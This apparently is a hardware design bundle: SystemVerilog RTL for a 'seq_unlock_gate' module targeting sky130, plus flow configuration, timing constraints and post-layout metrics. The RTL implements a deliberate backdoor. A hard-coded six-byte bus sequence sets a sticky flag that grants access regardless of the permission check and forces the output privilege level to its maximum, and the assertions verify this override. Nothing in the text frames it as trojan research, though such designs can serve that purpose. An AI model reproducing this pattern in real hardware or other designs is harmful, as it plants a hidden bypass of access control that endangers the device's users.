## src/rtl/seq_unlock_pkg.sv

```systemverilog
package seq_unlock_pkg;
   localparam int BYTE_W = 8;
   typedef logic [BYTE_W-1:0] bus_byte_t;
endpackage

```

## src/rtl/seq_match_fsm.sv

```systemverilog
module seq_match_fsm
   import seq_unlock_pkg::*;
#(
   parameter int                     PAT_LEN = 6,
   parameter logic [PAT_LEN*8-1:0]  PATTERN = '0
) (
   input  logic      clk,
   input  logic      rst_n,
   input  logic      clr_i,
   input  bus_byte_t byte_i,
   input  logic      valid_i,
   output logic      done_o
);
   localparam int POS_W = (PAT_LEN > 1) ? $clog2(PAT_LEN) : 1;
   localparam logic [POS_W-1:0] LAST = POS_W'(PAT_LEN - 1);

   logic [PAT_LEN-1:0] hit;
   logic [POS_W-1:0]   pos_q;
   logic [POS_W-1:0]   pos_d;

   // one comparator per pattern position
   for (genvar gi = 0; gi < PAT_LEN; gi++) begin : g_cmp
      assign hit[gi] = (byte_i == PATTERN[gi*BYTE_W +: BYTE_W]);
   end

   assign done_o = valid_i && (pos_q == LAST) && hit[pos_q];

   always_comb begin
      pos_d = pos_q;
      if (clr_i) begin
         pos_d = '0;
      end else if (valid_i) begin
         if (hit[pos_q]) begin
            pos_d = (pos_q == LAST) ? '0 : pos_q + POS_W'(1);
         end else begin
            pos_d = hit[0] ? POS_W'(1) : '0;
         end
      end
   end

   always_ff @(posedge clk) begin
      if (!rst_n) pos_q <= '0;
      else        pos_q <= pos_d;
   end

   AST_POS_BOUND: assert property (@(posedge clk) disable iff (!rst_n)
      int'(pos_q) < PAT_LEN);
   AST_IDLE_HOLD: assert property (@(posedge clk) disable iff (!rst_n)
      (!valid_i && !clr_i) |=> $stable(pos_q));
   AST_CLR_POS: assert property (@(posedge clk) disable iff (!rst_n)
      clr_i |=> (pos_q == '0));
endmodule

```

## src/rtl/unlock_latch.sv

```systemverilog
module unlock_latch (
   input  logic clk,
   input  logic rst_n,
   input  logic set_i,
   input  logic clr_i,
   output logic flag_o
);
   always_ff @(posedge clk) begin
      if (!rst_n)     flag_o <= 1'b0;
      else if (clr_i) flag_o <= 1'b0;
      else if (set_i) flag_o <= 1'b1;
   end

   AST_STICKY: assert property (@(posedge clk) disable iff (!rst_n)
      (flag_o && !clr_i) |=> flag_o);
   AST_CLR_WINS: assert property (@(posedge clk) disable iff (!rst_n)
      clr_i |=> !flag_o);
   AST_SET_ON_DONE: assert property (@(posedge clk) disable iff (!rst_n)
      (set_i && !clr_i) |=> flag_o);
endmodule

```

## src/rtl/perm_override_gate.sv

```systemverilog
module perm_override_gate #(
   parameter int PRIV_W        = 2,
   parameter bit FORCE_PRIV    = 1'b1
) (
   input  logic              flag_i,
   input  logic              chk_allow_i,
   input  logic [PRIV_W-1:0] priv_i,
   output logic              grant_o,
   output logic [PRIV_W-1:0] priv_o
);
   assign grant_o = flag_i | chk_allow_i;

   if (FORCE_PRIV) begin : g_force
      assign priv_o = flag_i ? '1 : priv_i;
   end else begin : g_pass
      assign priv_o = priv_i;
   end
endmodule

```

## src/rtl/seq_unlock_gate.sv

```systemverilog
module seq_unlock_gate
   import seq_unlock_pkg::*;
#(
   parameter int                    PAT_LEN = 6,
   parameter logic [PAT_LEN*8-1:0] PATTERN = 48'h38C62B914ED7,
   parameter int                    PRIV_W  = 2
) (
   input  logic              clk,
   input  logic              rst_n,
   input  logic [7:0]        bus_byte,
   input  logic              bus_valid,
   input  logic              clear_req,
   input  logic [PRIV_W-1:0] priv_level,
   input  logic              chk_allow,
   output logic              unlock_o,
   output logic              grant_o,
   output logic [PRIV_W-1:0] eff_priv
);
   if (PAT_LEN < 4) begin : g_bad_len
      $error("seq_unlock_gate: PAT_LEN must be at least 4");
   end
   if (PRIV_W < 1) begin : g_bad_priv
      $error("seq_unlock_gate: PRIV_W must be at least 1");
   end

   logic match_done;

   seq_match_fsm #(.PAT_LEN(PAT_LEN), .PATTERN(PATTERN)) u_fsm (
      .clk     (clk),
      .rst_n   (rst_n),
      .clr_i   (clear_req),
      .byte_i  (bus_byte),
      .valid_i (bus_valid),
      .done_o  (match_done)
   );

   unlock_latch u_latch (
      .clk    (clk),
      .rst_n  (rst_n),
      .set_i  (match_done),
      .clr_i  (clear_req),
      .flag_o (unlock_o)
   );

   perm_override_gate #(.PRIV_W(PRIV_W), .FORCE_PRIV(1'b1)) u_gate (
      .flag_i      (unlock_o),
      .chk_allow_i (chk_allow),
      .priv_i      (priv_level),
      .grant_o     (grant_o),
      .priv_o      (eff_priv)
   );

   AST_OVERRIDE_GRANT: assert property (@(posedge clk) disable iff (!rst_n)
      unlock_o |-> (grant_o && (eff_priv == '1)));
   AST_PASS_THROUGH: assert property (@(posedge clk) disable iff (!rst_n)
      !unlock_o |-> (grant_o == chk_allow && eff_priv == priv_level));
   AST_RESET_CLEAR: assert property (@(posedge clk)
      $rose(rst_n) |-> !unlock_o);
endmodule

```

## config.mk

```make
export PLATFORM = sky130hd
export DESIGN_NAME = seq_unlock_gate
export DESIGN_NICKNAME = d
export VERILOG_FILES = /design/src/rtl/seq_unlock_pkg.sv /design/src/rtl/seq_match_fsm.sv /design/src/rtl/unlock_latch.sv /design/src/rtl/perm_override_gate.sv /design/src/rtl/seq_unlock_gate.sv
export SDC_FILE = /design/constraint.sdc
export NUM_CORES = 1
export LEC_CHECK = 0
export BUFFER_PORTS_ARGS = -buffer_cell sky130_fd_sc_hd__buf_2
export CORE_AREA = 5 5 42 44
export CTS_CLUSTER_SIZE = 40
export DETAILED_ROUTE_END_ITERATION = 16
export DIE_AREA = 0 0 47 49
export PLACE_DENSITY_LB_ADDON = 0.05
export SLEW_MARGIN = 20
export SYNTH_ARGS = -nofsm -noshare
export SYNTH_HDL_FRONTEND = slang
export SYNTH_SLANG_ARGS = --single-unit
export TNS_END_PERCENT = 5
```

## constraint.sdc

```tcl
create_clock -name clk -period 3.2 [get_ports clk]
set_clock_uncertainty 0.15 [all_clocks]
set_input_delay 0.64 -clock clk [delete_from_list [all_inputs] [get_ports clk]]
set_output_delay 0.64 -clock clk [all_outputs]
set_load 0.05 [all_outputs]
```

==> metrics.md <==
| Metric | Value |
|---|---|
| Status | `complete, no violations` |
| #FFs+latches synth | `4` |
| Pleak | `a little over 0.2 nW` |
| GRT Util Overall | `roughly a tenth` |
| Dominant synthesized flop cell | `dfxtp_1` |
| Hold Path Class | `reg -> reg` |
| Synth area leaders | `dfxtp_1, nand4_1, and4b_2` |
| Total power | `approximately 150 uW` |
| CP endpoint kind | `primary output` |
| CP arrival | `1200 ps` |
| Nets | `86` |
| # resized after CTS | `0` |
| Die height | `49 um` |
| Slew Limit Fails | `0` |
| GRT met1 Usage | `11.3%` |
| Final Instance Area | `494 um2` |
| Busiest layer in global routing | `met2` |
| Hold buffer count at CTS | `0` |
| Syn avg cell area | `7.53 um2` |
| Antenna Violating Nets Remaining | `0` |
| Core Region | `1400 um2` |
| VDD IR max | `0.0000849 V` |
| Crit-path max FO | `1` |
| Largest net degree at the start of global routing | `9` |
| Slack of the critical path | `1210 ps` |
| CTS clk-pin slew, worst paths | `roughly 40 ps` |
| Max cap viols | `0` |
| Most numerous cell in the Yosys netlist | `nand2_1` |
| GR Util met3 | `under 10%` |
| Setup crit start kind | `input port` |
| Die area | `roughly 2300 um2` |
| PwrDens | `about 300 nW/um2` |
| First-pass GRT wire length | `around 1.7 mm` |
| Worst Path Required | `around 2400 ps` |
| Finished Layout Cells | `85` |
| Synth Cell Area | `about 360 um2` |
| # diodes | `0` |
| DR DRC count | `0` |
| CTS tree | `yes` |
| CP dominant cell by count | `buf_2` |
| Skew-Pair Late Insertion Delay | `between 200 and 250 ps` |
| Final core utilization | `between 30% and 40%` |
| WL/cell | `approximately 12 um` |
| Final Hold Fails | `0` |
| Gate Count Post-Synth | `48` |
| Share of cells above drive strength 1 | `about 45%` |
| CTS sink cnt | `4` |
| Initial DRC Count | `7` |
| Slowest CP cell | `or2_2` |
| CTS Buffer Depth | `2` |
| Placed Cells incl. Taps | `slightly above 80` |
| I/O pin total | `19` |
| CTS Buf Count | `3` |
| Crit path largest cell delay | `roughly 250 ps` |
| Port Buffers | `18` |
| First drt pass iteration count | `4` |
| Drt via density | `5.18` |
| Top cells by count, synth | `nand2_1, nor2_1, dfxtp_1, nand4_1` |
| Site Rows | `14` |
| Synth unique cells | `20` |
| Post-CTS setup buffer count | `0` |
| GRT met2 Usage | `16.3%` |
| Fin crit period | `1990 ps` |
| Vias | `440` |
| Area grow syn2layout | `36.7%` |
| Root Buffer | `clkbuf_4` |
| Yosys warnings | `0` |
| Placer Congestion | `0.804` |
| Post-synth top area cell | `dfxtp_1` |
| Fmax | `0.503 GHz` |
| # setup viols final | `0` |
| Slew @ Worst Pin | `333 ps` |
| Sequential share of the synthesized area | `22.1%` |
| Period utilisation layout | `slightly above 60%` |
| Total Neg Setup Slack | `0 ps` |
| Hold Slack | `382 ps` |
| Final WL | `just under 1 mm` |
| Post-DP Area | `around 470 um2` |
| Critical Path, Cell by Cell | `buf_2 -> or2_2 -> buf_2` |
| Post-synth EDFFs | `0` |
| Ys async rst share | `0%` |
| Pre-CTS setup slack | `roughly 1200 ps` |
| Initial antenna violation count | `0` |
| Post-DP HPWL | `about 830 um` |
| Unrepaired setup endpoints after global routing | `no` |
| Htree depth | `1` |
| Gr ovfl total | `0` |
| Initial Util | `25.8%` |
| Die Wd | `about 47 um` |
| Syn nets | `63` |
| Critical path type | `in -> out` |
| Area share of the largest cell type after synthesis | `22.1%` |
| Vias in the first global route | `approximately 440` |
| Max transition margin | `77.6%` |
[worst paths after layout]
path	startpoint	to	slack [ps]	cells past startpoint
setup / recovery	priv_level[0]	eff_priv[0]	1210	3
hold / removal	u_latch.flag_o	u_latch.flag_o	380	2
setup reg to reg	u_fsm.pos_q[1]	u_fsm.pos_q[0]	1630	5
hold reg to reg	u_latch.flag_o	u_latch.flag_o	380	2
[area by class of cell]
type	instances	area (um2)
flip-flops and latches	4	80.1
repair buffers	18	90.1
clock buffers	3	22.5
well taps	16	20.0
multi-input cells	44	282
fillers	177	907
[sequential cells by signal, summed over array words and instances (netlist names)]
| register | flops |
|---|---|
| u_latch.flag_o | 1 |
| u_fsm.pos_q | 3 |
[layer usage]
| layer | vias up | part of all wire, % |
|---|---|---|
| met2 | 19 | 46 |
| met4 | 0 | 1.1 |
| met3 | 2 | 10 |
| met5 | - | 0 |
| met1 | 193 | 43 |
| li1 | 226 | - |
[worst max-delay path: cells and delay by family]
family	cells	cell delay (ps)
simple gates	1	250
buf+inv	2	300
[layout by cell type (no fill, tap or decap)]
cell,count
and3_1,1
o2111ai_2,1
or2_2,3
nor4b_2,1
buf_2,18
a21oi_1,3
and2b_2,1
nand2_1,6
nand3_1,3
o21ai_0,2
a21oi_2,1
nor4_1,1
nor3b_2,1
nand2b_1,2
a31oi_1,3
and3b_1,2
nor2_1,5
nor2b_1,2
clkbuf_4,3
and4b_2,2
dfxtp_1,4
nand4_1,4
[cells by family (layout without fill, tap and decap cells)]
kind of cell | Yosys count | after routing | synth area share [%]
buffers and inverters | 0 | 21 | 0
and+or+nand+nor | 34 | 34 | 59.2
DFF | 4 | 4 | 22.1
AOI/OAI and AO/OA | 10 | 10 | 18.7
[where the power goes]
group          internal (mW)  switching, mW  total [mW]
logic                 0.0133         0.0194      0.0326
clock network         0.0420         0.0216      0.0637
registers             0.0501      0.0000294      0.0502
total                  0.105         0.0410       0.146
No activity file was read; power rests on OpenSTA's default activity.
